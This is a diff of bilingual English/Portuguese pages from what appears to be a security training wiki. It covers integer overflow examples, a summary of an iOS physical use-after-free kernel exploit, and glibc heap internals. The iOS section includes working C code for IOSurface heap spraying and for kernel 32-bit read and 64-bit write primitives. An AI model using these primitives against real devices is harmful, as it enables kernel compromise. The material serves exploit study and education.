Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro sem sinal devido à forma como os valores binários são interpretados, potencialmente levando a um comportamento inesperado.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
### Other Examples
### Outros Exemplos
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- Apenas 1B é usado para armazenar o tamanho da senha, então é possível transbordá-lo e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20;
- Dado um par de números, descubra usando z3 um novo número que multiplicado pelo primeiro dará o segundo:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
- Apenas 1B é usado para armazenar o tamanho da senha, então é possível transbordá-lo e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento e sobrescrever na pilha a próxima variável local e contornar ambas as proteções.
## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
Isso **não muda no ARM64**, como você pode ver em [**este post do blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,212 +1,203 @@
# iOS Exploiting
## Physical use-after-free
## Uso físico após liberação
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
### Gerenciamento de memória no XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
O **espaço de endereços de memória virtual** para processos de usuário no iOS varia de **0x0 a 0x8000000000**. No entanto, esses endereços não mapeiam diretamente para a memória física. Em vez disso, o **kernel** usa **tabelas de páginas** para traduzir endereços virtuais em **endereços físicos** reais.
#### Levels of Page Tables in iOS
#### Níveis de Tabelas de Páginas no iOS
Page tables are organized hierarchically in three levels:
As tabelas de páginas são organizadas hierarquicamente em três níveis:
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
1. **Tabela de Páginas L1 (Nível 1)**:
* Cada entrada aqui representa uma grande faixa de memória virtual.
* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual.
2. **Tabela de Páginas L2 (Nível 2)**:
* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB).
* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região sozinha.
3. **Tabela de Páginas L3 (Nível 3)**:
* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**.
* Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário.
#### Mapping Virtual to Physical Memory
#### Mapeamento de Memória Virtual para Física
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
* **Mapeamento Direto (Mapeamento de Bloco)**:
* Algumas entradas em uma tabela de páginas **mapeiam diretamente uma faixa de endereços virtuais** para uma faixa contígua de endereços físicos (como um atalho).
* **Ponteiro para Tabela de Páginas Filha**:
* Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2).
#### Example: Mapping a Virtual Address
#### Exemplo: Mapeando um Endereço Virtual
Lets say you try to access the virtual address **0x1000000000**:
Vamos supor que você tente acessar o endereço virtual **0x1000000000**:
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
1. **Tabela L1**:
* O kernel verifica a entrada da tabela de páginas L1 correspondente a este endereço virtual. Se tiver um **ponteiro para uma tabela de páginas L2**, ele vai para essa tabela L2.
2. **Tabela L2**:
* O kernel verifica a tabela de páginas L2 para um mapeamento mais detalhado. Se esta entrada apontar para uma **tabela de páginas L3**, ele prossegue para lá.
3. **Tabela L3**:
* O kernel consulta a entrada final L3, que aponta para o **endereço físico** da página de memória real.
#### Example of Address Mapping
#### Exemplo de Mapeamento de Endereço
If you write the physical address **0x800004000** into the first index of the L2 table, then:
Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
* Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**.
* Este é um **mapeamento de bloco** no nível L2.
Alternatively, if the L2 entry points to an L3 table:
Alternativamente, se a entrada L2 apontar para uma tabela L3:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
* Cada página de 4 KB na faixa de endereços virtuais **0x1000000000 -> 0x1002000000** seria mapeada por entradas individuais na tabela L3.
### Physical use-after-free
### Uso físico após liberação
A **physical use-after-free** (UAF) occurs when:
Um **uso físico após liberação** (UAF) ocorre quando:
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
1. Um processo **aloca** alguma memória como **legível e gravável**.
2. As **tabelas de páginas** são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar.
3. O processo **desaloca** (libera) a memória.
4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre.
5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**.
6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule a memória do kernel**.
### Exploitation Strategy: Heap Spray
### Estratégia de Exploração: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
Como o atacante não pode controlar quais páginas específicas do kernel serão alocadas para a memória liberada, eles usam uma técnica chamada **heap spray**:
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel.
2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação.
3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada.
4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever na memória do kernel**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
### Processo Passo a Passo do Heap Spray
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
1. **Spray de Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico").
2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada.
3. **Ler/Escrever na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles:
* Use um campo para **ler qualquer valor de 32 bits** na memória do kernel.
* Use outro campo para **gravar valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável.
Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
Procure por **`IOSurface`** objetos em uma página física liberada:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Conseguindo Leitura/Escrita no Kernel com IOSurface
### Achieving Kernel Read/Write with IOSurface
Após conseguir controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível a partir do espaço do usuário), podemos usá-lo para **operações de leitura e escrita arbitrárias no kernel**.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
**Campos Chave em IOSurface**
**Key Fields in IOSurface**
O objeto IOSurface possui dois campos cruciais:
The IOSurface object has two crucial fields:
1. **Ponteiro de Contagem de Uso**: Permite uma **leitura de 32 bits**.
2. **Ponteiro de Timestamp Indexado**: Permite uma **escrita de 64 bits**.
1. **Use Count Pointer**: Allows a **32-bit read**.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
Ao sobrescrever esses ponteiros, redirecionamos eles para endereços arbitrários na memória do kernel, habilitando capacidades de leitura/escrita.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
#### Leitura de 32 Bits no Kernel
#### 32-Bit Kernel Read
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
Para realizar uma leitura:
1. Sobrescreva o **ponteiro de contagem de uso** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes.
2. Use o método `get_use_count` para ler o valor naquele endereço.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Escrita no Kernel de 64 Bits
#### 64-Bit Kernel Write
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
Para realizar uma escrita:
1. Sobrescreva o **ponteiro de timestamp indexado** para o endereço alvo.
2. Use o método `set_indexed_timestamp` para escrever um valor de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Recapitulação do Fluxo de Exploit
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
1. **Acionar Uso-Físico Após Liberação**: Páginas liberadas estão disponíveis para reutilização.
2. **Spray Objetos IOSurface**: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel.
3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla.
4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface.
Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** controladas na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).

View File

@ -2,196 +2,189 @@
## Heap Basics
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
O heap é basicamente o lugar onde um programa pode armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
Como mostrado, está logo após onde o binário está sendo carregado na memória (ver a seção `[heap]`):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de metadados do chunk são usadas para saber onde cada chunk usado/livre está.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
Existem diferentes maneiras de reservar o espaço, dependendo principalmente do bin utilizado, mas uma metodologia geral é a seguinte:
- The program starts by requesting certain amount of memory.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
- If everything fails, `malloc` returns null.
- O programa começa solicitando uma certa quantidade de memória.
- Se na lista de chunks houver alguém disponível grande o suficiente para atender à solicitação, ele será usado.
- Isso pode até significar que parte do chunk disponível será usada para essa solicitação e o restante será adicionado à lista de chunks.
- Se não houver nenhum chunk disponível na lista, mas ainda houver espaço na memória heap alocada, o gerenciador de heap cria um novo chunk.
- Se não houver espaço suficiente no heap para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk.
- Se tudo falhar, `malloc` retorna nulo.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será usado para mapear a memória solicitada.
## Arenas
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
Em aplicações **multithreaded**, o gerenciador de heap deve prevenir **condições de corrida** que poderiam levar a falhas. Inicialmente, isso era feito usando um **mutex global** para garantir que apenas um thread pudesse acessar o heap por vez, mas isso causou **problemas de desempenho** devido ao gargalo induzido pelo mutex.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações de heap sem interferir uns nos outros, desde que usem arenas diferentes.
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
A arena "principal" padrão lida com operações de heap para aplicações de thread único. Quando **novos threads** são adicionados, o gerenciador de heap os atribui **arenas secundárias** para reduzir a contenção. Ele primeiro tenta anexar cada novo thread a uma arena não utilizada, criando novas se necessário, até um limite de 2 vezes o número de núcleos de CPU para sistemas de 32 bits e 8 vezes para sistemas de 64 bits. Uma vez que o limite é alcançado, **threads devem compartilhar arenas**, levando a uma potencial contenção.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
Diferente da arena principal, que se expande usando a chamada de sistema `brk`, as arenas secundárias criam "subheaps" usando `mmap` e `mprotect` para simular o comportamento do heap, permitindo flexibilidade na gestão de memória para operações multithreaded.
### Subheaps
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
Subheaps servem como reservas de memória para arenas secundárias em aplicações multithreaded, permitindo que elas cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Aqui está como os subheaps diferem do heap inicial e como operam:
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
2. **Memory Reservation with `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
3. **Gradual Expansion with `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
1. **Heap Inicial vs. Subheaps**:
- O heap inicial está localizado diretamente após o binário do programa na memória, e se expande usando a chamada de sistema `sbrk`.
- Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada.
2. **Reserva de Memória com `mmap`**:
- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos ou alocações do sistema não devem usar.
- Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits.
3. **Expansão Gradual com `mprotect`**:
- A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda.
- Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário.
- Uma vez que todo o subheap é esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação.
### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
Esta struct aloca informações relevantes do heap. Além disso, a memória do heap pode não ser contínua após mais alocações, esta struct também armazenará essa informação.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
**Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\
É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\
No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
There some interesting things to note from this structure (see C code below):
Há algumas coisas interessantes a notar a partir desta estrutura (veja o código C abaixo):
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
- `__libc_lock_define (, mutex);` Está lá para garantir que esta estrutura do heap seja acessada por 1 thread de cada vez
- Flags:
- ```c
#define NONCONTIGUOUS_BIT (2U)
- ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- O `mchunkptr bins[NBINS * 2 - 2];` contém **ponteiros** para os **primeiros e últimos chunks** dos **bins** pequenos, grandes e não ordenados (o -2 é porque o índice 0 não é usado)
- Portanto, o **primeiro chunk** desses bins terá um **ponteiro reverso para esta estrutura** e o **último chunk** desses bins terá um **ponteiro para frente** para esta estrutura. O que basicamente significa que se você puder **vazar esses endereços na arena principal**, você terá um ponteiro para a estrutura na **libc**.
- As structs `struct malloc_state *next;` e `struct malloc_state *next_free;` são listas encadeadas de arenas
- O chunk `top` é o último "chunk", que é basicamente **todo o espaço restante do heap**. Uma vez que o chunk top está "vazio", o heap está completamente utilizado e precisa solicitar mais espaço.
- O chunk `last reminder` vem de casos onde um chunk de tamanho exato não está disponível e, portanto, um chunk maior é dividido, uma parte do ponteiro restante é colocada aqui.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
